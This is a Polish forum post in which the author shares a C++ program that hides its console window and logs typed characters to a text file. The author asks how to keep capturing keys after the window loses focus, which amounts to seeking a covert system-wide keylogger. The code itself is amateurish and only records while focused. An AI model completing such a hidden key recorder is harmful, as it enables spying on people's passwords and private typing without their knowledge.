Witam napisałem sobie taki program, który zczytuje znaki z klawiatury i zapisuje do pliku txt, lecz gdy klikne na ekran program traci fokus i juz znakow nie zapisuje. Potrzebuje pomocy w ustalenie "focusa" na dana aplikacje/proces z którego ma zczytywać znaki.
#include <iostream>
#include <fstream>
#include <cstdlib>
#include <dos.h>
#include <conio.h>
#define _WIN32_WINNT 0x500
#include <windows.h>
using namespace std;
int poczatek = clock();
int main()
{
HWND hWnd=GetConsoleWindow();
ShowWindow( hWnd, SW_HIDE);
string a,b;
string n;
int x=0;
fstream plik;
while( clock() < poczatek + 5000 ) {
do
{
for(int i=0; i<10; i++)
{
n=getche();
plik.open("plik.txt", ios::out | ios::app);
if(plik.good() == true)
{
plik <<n;
plik.close();
}
}
cout<<endl;
} while( getch() != getch() );
}
return(0);
}